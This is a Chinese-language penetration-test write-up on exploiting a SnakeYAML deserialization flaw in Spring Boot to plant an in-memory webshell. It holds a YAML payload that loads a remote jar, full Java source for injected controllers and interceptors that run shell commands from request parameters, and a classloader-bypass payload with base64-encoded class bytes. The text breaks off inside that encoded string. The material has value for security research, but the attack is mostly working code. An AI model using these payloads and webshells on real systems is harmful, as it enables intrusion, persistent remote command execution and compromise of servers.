springboot snakeyaml利用浅析

本文简要分析了snakeyaml漏洞在一般场景下注入内存马的难点,并对存在内嵌tomcat依赖的spring应用提出一种漏洞利用思路

1. 前言

前几天接到个任务,目标系统采用springboot框架,测试发现存在 /env 等配置信息泄露,且存在 snake-yaml 漏洞,通过 dump 内存及修改 spring.cloud.bootstrap.location 字段可以确定目标不出网且以jar包形式运行,且该系统为内网端口映射方式运行,不可直接与目标主机通信。幸好目标系统可以上传任意文件,且spring服务端口号与映射端口号一致,这样我们可以先上传jar包到可访问目录下:

拼接后的路径为:http://ip:9090/server/static/img/2022/04/10/90920220410084330581.jar,将ip替换为 127.0.0.1,写入yaml文件:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:9090/server/static/img/2022/04/10/90920220410084330581.jar"]
  ]]
]

替换 spring.cloud.bootstrap.location 字段后刷新配置:


返回报错,但查看异常发现已经创建了 ScriptEngineManager 实例,即可以任意执行代码,通过将执行结果输出到可访问文件中,可获取回显:

然而仅仅是能执行命令肯定是不够的,首先想到的就是写入内存马,既然能够任意代码执行,那么写内存马肯定不难,我天真的这么以为,然而折磨才刚刚开始。。。

2.前置知识 - Spring 常见内存马

此处仅针对非Java agent类型内存马,一般的注入思路都是找到一个保存当前应用上下文的全局变量,进而取出我们需要注入的组件进行修改。对于Spring,可注入的组件有 控制器Controller 和 拦截器Interceptor,前者通过注册一个路由绑定我们需要执行的恶意方法,后者在拦截器数组中插入我们的恶意拦截器,以达到在请求真实数据前执行我们的恶意方法。对于实际情况,由于系统可能会对某些路由进行安全性准入,故拦截器利用的效果更好。以下是一些常见的注入测试代码。

2.1 控制器

package code.landgrey.controller;

import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Arrays;

@RestController
@EnableAutoConfiguration
public class ControllerInject {

    @RequestMapping("/inject2")
    public String inject() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//            WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
            RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
            // 注册执行命令的shell
            Method method = (Evil.class.getMethods())[0];
            PatternsRequestCondition url = new PatternsRequestCondition("/exec");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            r.registerMapping(info, new Evil(), method);
            return "success";
        } catch (Exception e){
            return (Arrays.toString(e.getStackTrace()));
        }
    }

    public class Evil {
        public Evil() {
        }
        @RequestMapping(value = "/exec")
        public void exec(HttpServletRequest request, HttpServletResponse response) throws IOException {
            try {
                String cmd = request.getParameter("code");
                if (cmd != null) {
                    Process process;
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
                    } else {
                        process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
                    }

                    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();

                    String line;
                    while((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }

                    response.getOutputStream().write(stringBuilder.toString().getBytes());
                    response.getOutputStream().flush();
                    response.getOutputStream().close();
                } else {
                    response.sendError(404);
                }
            } catch (Exception var8) {
            }

        }
    }
}

2.2 拦截器

package code.landgrey.controller;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

@RestController
@EnableAutoConfiguration
public class InterceptorInject {

    @RequestMapping("/inject")
    public String inject() throws Exception {
        // 获取应用上下文
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        // 通过绑定Bean 取出 RequestMappingHandlerMapping
        RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
        //实例化恶意拦截器并注册
        for (Object i : adaptedInterceptors) {
            if (i.getClass().getName().contains("Madao")) {
                return "ok";
            }
        }
        adaptedInterceptors.add(new Madao());
        return "success";
    }

    public class Madao  extends HandlerInterceptorAdapter {
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            if (request.getParameter("passer") != null) {
            String cmd = request.getParameter("passer");
            Process process;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
            }

            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();

            String line;
            while((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }

            response.getOutputStream().write(stringBuilder.toString().getBytes());
            response.getOutputStream().flush();
            response.getOutputStream().close();
            return false;
        }
        return true;
        }
    }
}

以上代码本地测试均可通过,对于yaml漏洞无非就是把ScriptEngineFactory子类中的初始化代码改成控制器中的代码,核心代码如下:

AwesomeScriptEngineFactory.class

package artsploit;


import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.lang.reflect.Field;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            // 获取应用上下文
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            // 通过绑定Bean 取出 RequestMappingHandlerMapping
            RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
            //实例化恶意拦截器并注册
            for (Object i : adaptedInterceptors) {
                if (i.getClass().getName().contains("Madao")) {
                    return;
                }
            }
            adaptedInterceptors.add(Class.forName("artsploit.Madao").newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public String getEngineName() {
        return null;
    }

    public String getEngineVersion() {
        return null;
    }

    public List<String> getExtensions() {
        return null;
    }

    public List<String> getMimeTypes() {
        return null;
    }

    public List<String> getNames() {
        return null;
    }

    public String getLanguageName() {
        return null;
    }

    public String getLanguageVersion() {
        return null;
    }

    public Object getParameter(String key) {
        return null;
    }

    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    public String getOutputStatement(String toDisplay) {
        return null;
    }

    public String getProgram(String... statements) {
        return null;
    }

    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Madao.class

package artsploit;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Madao  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if (request.getParameter("passer") != null) {
            String cmd = request.getParameter("passer");
            Process process;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
            }

            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();

            String line;
            while((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }

            response.getOutputStream().write(stringBuilder.toString().getBytes());
            response.getOutputStream().flush();
            response.getOutputStream().close();
            return false;
        }
        return true;
    }
}

于是我信心满满的打包好,上传,刷新,一切都那么波澜不惊,仿佛无事发生。。。

3. 一个一个一个的坑

3.1 无法加载依赖

这我就不服了,当即拉了个漏洞环境到本地:SpringBootVulExploit,Idea打开,直接maven右键debug spring-boot:run即可debug运行:

为方便测试,写一个控制器如下:

package code.landgrey.controller;

import org.springframework.beans.factory.BeanFactory;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.script.ScriptEngineManager;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

@RestController
@EnableAutoConfiguration
public class Yaml {

    @RequestMapping("/yaml")
    public String yamlTest() throws MalformedURLException {
        URL url = new URL("http://127.0.0.1:8081/yaml-payload.jar?t="+new Date().getTime());
        new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
        return "success";
    }
}

由于 URLClassLoader 对于相同的url会进行缓存,故传入url为 "http://127.0.0.1:8081/yaml-payload.jar?t="+new Date().getTime(),这样替换jar包后每次都会重新发起请求。

等效于yaml反序列化创建一个 ScriptEngineManger,jar包保存在本地开启的tomcat根目录下,访问一下果然报错:

ScriptEngineManger#initEngines里下个断点,捕获异常:

可以看到报错原因是无法加载 springframework包 下的类,原因暂时不管,不过我们在打jar包中是不是把依赖都打包进去就好了呢,试一下,打包后的体积明显大了很多:

果然不报依赖错误了,然而:

3.2 线程绑定的上下文

报错的大概意思是:当前线程不是web线程,无法访问到当前的全局属性。那么大概就是在获取 currentRequestAttributes 时发生错误,这里下个断点,重新请求:

果然获取到的RequestAttributes为空,而正常注入时获取到的RequestAttributes:

保存了当前应用的上下文,故我们的jar包无法进行下一步利用。

那么为什么会获取不到RequestAttributes呢,再跟进一下:

即从当前类的requestAttributesHolder或inheritableRequestAttributesHolder中取出属性,看下这两个变量的定义:

是两个与线程绑定的全局变量,查看当前属性的线程HashCode:

与正常Controller获取到的属性比较:


可以看到其实在进入 ScriptEngineManger 后新创建了一个线程,故无法获取到主线程的上下文属性。

此处其实执行Thread.currentThread()获取到的仍然是同一线程,没搞懂,姑且当作spring的特性吧。

因此常规获取上下文的方法行不通了。参考Landgrey师傅的思路:

liveBenasView 中取出当前上下文,试试可不可行,先写个控制器:

package code.landgrey.controller;


import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@EnableAutoConfiguration
public class LiveBeans {

    @RequestMapping("/livebeans")
    public String  beans() throws Exception{
        // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
        java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
        filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
        org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
        return "success";
    }
}

访问发现报错:

LiveBeansView#registerApplicationContext 方法下断点,重启spring,发现进入该方法:


获取环境变量 mbeanDomain为null,故不进行Bean的注册,因此也无法通过此方法获取到上下文,只能另想他招。

3.3 内嵌TomcatClassloader的利用

先利用 java-object-searcher 找一下能获取到applicationContext的链,安装到本地maven后引入依赖即可使用:

<dependency>
    <groupId>me.gv7.tools</groupId>
    <artifactId>java-object-searcher</artifactId>
    <version>0.1.0</version>
</dependency>

找到的链大致如下:


而在测试线程时刚好看到在进入恶意jar包时线程上下文的 ClassLoader 为 TomcatEmbeddedWebappClassLoader,即内嵌TomcatClassLoader:

在往下翻几层:

可以看到 contextClassLoader.resources.context.context 是一个眼熟的类,把它取出来看看:

发现attributes里又保存了个眼熟的值,把org.springframework.web.context.WebApplicationContext.ROOT取出来:

发现刚好是个 BeanFactory,打印所有Bean:

发现跟从 WebApplicationContext中取出的 Bean 一模一样,其中也保存了requestMappingHandlerMapping ,

那么我们可以从当前线程获取到这个变量,然后再取出 requestMappingHandlerMapping 绑定的 Bean不就能达到一样的效果了吗?

先写个控制器试一下:

package code.landgrey.controller;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedWebappClassLoader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Field;


@RestController
@EnableAutoConfiguration
public class TomcatInject {

    @RequestMapping("/tomcat")
    public String tomcat() throws Exception{
        // 取出内嵌tomcat上下文
        Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext();

        // TomcatEmbeddedContext非公共类,反射取出私有属性context
        Field contextField = StandardContext.class.getDeclaredField("context");
        contextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) contextField.get(tomcatEmbeddedContext);

        // 以下类似
        WebApplicationContext context = (WebApplicationContext)applicationContext.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT");
        RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
        // 防止重复注册
        for (Object i : adaptedInterceptors) {
            if (i.getClass().getName().contains("Madao")) {
                return "ok";
            }
        }
        //实例化恶意拦截器并注册
        adaptedInterceptors.add(Class.forName("artsploit.Madao").newInstance());
        return "success";
    }
}

访问http://127.0.0.1:9092/tomcat :

已成功注入:

正当我再次满怀期待的打好jar包测试时,现实又给了我当头一棒:

两个一模一样的类告诉我不能强制转换,这下给我整不会了。

3.3 全限定名类转换报错

查阅相关资料后,发现原来是 JVM 的规范引起的:

JVM判断两个类对象是否相同的依据:一是类全称;一个是类加载器。

而我们在创建 ScriptEngineManger时,是新建了一个 URLClassLoader 实例加载我们的 jar 包,因此jar包里的依赖都是由 新的 URLClassLoader 加载的,而非主线程的URLClassLoader:

这也解释了之前找不到依赖的原因。

为了解决这个bug,首先想到的是全部用反射调用方法和属性,花了好大功夫才一步步整出来下面这个畸形的类,其中艰辛不再细说:

package artsploit;



import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;


public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            // 从当前线程取出上下文,适用于多线程情况 -> 会报错,还是反射调用吧
            // Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext();
            ClassLoader tomcatClassLoader = Thread.currentThread().getContextClassLoader();
            Method getResources = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getMethod("getResources");



            Object resources = getResources.invoke(tomcatClassLoader);
            Method getContext = getResources.invoke(tomcatClassLoader).getClass().getMethod("getContext");
            Object tomcatEmbeddedContext = (Object) getContext.invoke(resources);


            // 取出 ApplicationContext
            Field contextField = getContext.invoke(resources).getClass().getSuperclass().getDeclaredField("context");
            contextField.setAccessible(true);

            Object applicationContext = (Object) contextField.get(tomcatEmbeddedContext);
            Method getAttribute = contextField.get(tomcatEmbeddedContext).getClass().getMethod("getAttribute", String.class);

            Object webApplicationContext = (Object) getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT");
            Class<?> abstractApplicationContext = getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT").getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();


            Method getBean = abstractApplicationContext.getMethod("getBean", String.class);
            Method getBeanDefinitionNames =abstractApplicationContext.getMethod("getBeanDefinitionNames");

            // 测试输出所有 Bean
            Object[] result = (Object[]) getBeanDefinitionNames.invoke(webApplicationContext);
            for(Object r:result){
                System.out.println(r.toString());
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }



    public String getEngineName() {
        return null;
    }

    public String getEngineVersion() {
        return null;
    }

    public List<String> getExtensions() {
        return null;
    }

    public List<String> getMimeTypes() {
        return null;
    }

    public List<String> getNames() {
        return null;
    }

    public String getLanguageName() {
        return null;
    }

    public String getLanguageVersion() {
        return null;
    }

    public Object getParameter(String key) {
        return null;
    }

    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    public String getOutputStatement(String toDisplay) {
        return null;
    }

    public String getProgram(String... statements) {
        return null;
    }

    public ScriptEngine getScriptEngine() {
        return null;
    }
}

测试输出所有绑定的 Bean :

此时胜利的曙光仿佛就在眼前,取出拦截器列表后插入一个恶意类:

Method getBean = abstractApplicationContext.getMethod("getBean", String.class);
            // 单例模式
            Object abstractHandlerMapping = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping");
            // 反射获取adaptedInterceptors属性
            Field field = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");

            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
            for (Object i : adaptedInterceptors) {
                if (i.getClass().getName().contains("Madao")) {
                    return;
                }
            }
            adaptedInterceptors.add(new Madao());
            System.out.println("1ok");

直接访问并未报错:

然而。。。

正如前文提到的,加载jar包的类加载器与主线程的不一致,故我们写的恶意拦截器不能强制转换为主线程中的拦截器类,因此报错,难道只能这样就结束了吗?

4. 最终

重新查看当前线程的内嵌tomcat加载器:

注意到这个父加载器,取出来看看:

发现它刚好就是我们主线程的加载器,那么我们可以先获取到这个主加载器,再用它加载我们的 Madao 拦截器不就可以了吗,用此思路,顺便将核心代码封装为 Evil类,利用子线程的ClassLoader加载,再在 Evil类中获取主加载器,加载我们的Madao插入拦截器中。这样不用引入任何依赖,jar包体积也缩小至几KB,最终代码如下:

AwesomeScriptEngineFactory.class

package artsploit;


import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.boot.context.embedded.AnnotationConfigEmbeddedWebApplicationContext;
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedWebappClassLoader;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;


public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            ClassLoader classLoader = this.getClass().getClassLoader();
            Class evilClass = defineClass(classLoader, "yv66vgAAADQAzAoACQBnCgBoAGkKAGgAagoACQBrCgAHAGwIADsHAG0KAAcAbgcAbwoAcABxCAA+CAByCgAHAHMKAHQAdQoAdAB2CABDBwB3CAB4CABHCABICAB5CABLCQB6AHsIAHwKAH0AfgcAfwoAGgCACwCBAIILAIEAgwoABwCECACFCgARAIYIAIcHAIgIAIkKAC8AigoABwCLCgAaAIwIAF4HAGQJAI0AjgoABwCPCgBwAHUKAJAAkQoAkgCTCgCNAJQHAJUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABaQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABHRoaXMBABBMYXJ0c3Bsb2l0L0V2aWw7AQARdG9tY2F0Q2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADGdldFJlc291cmNlcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAJcmVzb3VyY2VzAQAKZ2V0Q29udGV4dAEAFXRvbWNhdEVtYmVkZGVkQ29udGV4dAEADGNvbnRleHRGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABJhcHBsaWNhdGlvbkNvbnRleHQBAAxnZXRBdHRyaWJ1dGUBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBABphYnN0cmFjdEFwcGxpY2F0aW9uQ29udGV4dAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAHZ2V0QmVhbgEAFmdldEJlYW5EZWZpbml0aW9uTmFtZXMBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQAFZmllbGQBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAUZ2V0UGFyZW50Q0xhc3NMb2FkZXIBABFwYXJlbnRDbGFzc0xvYWRlcgEACm1hZGFvQ2xhc3MBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADVN0YWNrTWFwVGFibGUHAJUHAIgHAJYHAG8HAJcHAG0HAH8HAJgBAApFeGNlcHRpb25zBwCZAQALZGVmaW5lQ2xhc3MBADwoTGphdmEvbGFuZy9DbGFzc0xvYWRlcjtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtjbGFzc0xvYWRlcgEACWNsYXNzQnl0ZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACWV2YWxCeXRlcwEAAltCAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAMAAxBwCaDACbAJwMAJ0AngwAnwCgDAChAKABAA9qYXZhL2xhbmcvQ2xhc3MMAKIAowEAEGphdmEvbGFuZy9PYmplY3QHAJYMAKQApQEAB2NvbnRleHQMAKYApwcAlwwAqACpDACqAKsBABBqYXZhL2xhbmcvU3RyaW5nAQA6b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5XZWJBcHBsaWNhdGlvbkNvbnRleHQuUk9PVAEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcHAKwMAK0ArgEAAzFvawcArwwAsACxAQATamF2YS91dGlsL0FycmF5TGlzdAwAsgCzBwCYDAC0ALUMALYAtwwAuAC5AQAFTWFkYW8MALoAuwEAFGdldFBhcmVudENsYXNzTG9hZGVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQzEeXY2NnZnQUFBRFFBbFFvQUlnQklDQUJKQ3dCS0FFc0lBRXdLQUUwQVRnb0FDZ0JQQ0FCUUNnQUtBRkVLQUZJQVV3Y0FWQWdBVlFnQVZnb0FVZ0JYQ0FCWUNBQlpCd0JhQndCYkNnQmNBRjBLQUJFQVhnb0FFQUJmQndCZ0NnQVZBRWdLQUJBQVlRb0FGUUJpQ2dBVkFHTUtBQlVBWkFzQVpRQm1DZ0FLQUdjS0FHZ0FhUW9BYUFCcUNnQm9BR3NMQUdVQWJBY0FiUWNBYmdFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1bFRuVnRZbVZ5VkdGaWJHVUJBQkpNYjJOaGJGWmhjbWxoWW14bFZHRmliR1VCQUFSMGFHbHpBUUFSVEdGeWRITndiRzlwZEM5TllXUmhienNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFIY0hKdlkyVnpjd0VBRTB4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFBNWlkV1ptWlhKbFpGSmxZV1JsY2dFQUdFeHFZWFpoTDJsdkwwSjFabVpsY21Wa1VtVmhaR1Z5T3dFQURYTjBjbWx1WjBKMWFXeGtaWElCQUJsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WjBKMWFXeGtaWEk3QVFBRWJHbHVaUUVBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUEyTnRaQUVBQjNKbGNYVmxjM1FCQUNkTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREc0JBQWh5WlhOd2IyNXpaUUVBS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpUc0JBQWRvWVc1a2JHVnlBUUFTVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBTlUzUmhZMnROWVhCVVlXSnNaUWNBVkFjQWJ3Y0FXZ2NBWUFjQWJRY0FjQWNBY1FjQWNnRUFDa1Y0WTJWd2RHbHZibk1IQUhNQkFBcFRiM1Z5WTJWR2FXeGxBUUFLVFdGa1lXOHVhbUYyWVF3QUl3QWtBUUFHY0dGemMyVnlCd0J3REFCMEFIVUJBQWR2Y3k1dVlXMWxCd0IyREFCM0FIVU1BSGdBZVFFQUEzZHBiZ3dBZWdCN0J3QjhEQUI5QUg0QkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQUhZMjFrTG1WNFpRRUFBaTlqREFCL0FJQUJBQVJpWVhOb0FRQUNMV01CQUJacVlYWmhMMmx2TDBKMVptWmxjbVZrVW1WaFpHVnlBUUFaYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlZKbFlXUmxjZ2NBYnd3QWdRQ0NEQUFqQUlNTUFDTUFoQUVBRjJwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlEQUNGQUhrTUFJWUFod3dBaGdDSURBQ0pBSGtIQUhFTUFJb0Fpd3dBakFDTkJ3Q09EQUNQQUpBTUFKRUFKQXdBa2dBa0RBQ1RBSlFCQUE5aGNuUnpjR3h2YVhRdlRXRmtZVzhCQUVGdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZTR0Z1Wkd4bGNrbHVkR1Z5WTJWd2RHOXlRV1JoY0hSbGNnRUFFV3BoZG1FdmJHRnVaeTlRY205alpYTnpBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFBeG5aWFJRWVhKaGJXVjBaWElCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBRVdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsQVFBS1oyVjBVblZ1ZEdsdFpRRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsT3dFQUJHVjRaV01CQUNnb1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdBUUFPWjJWMFNXNXdkWFJUZEhKbFlXMEJBQmNvS1V4cVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdE93RUFHQ2hNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzcFZnRUFFeWhNYW1GMllTOXBieTlTWldGa1pYSTdLVllCQUFoeVpXRmtUR2x1WlFFQUJtRndjR1Z1WkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHR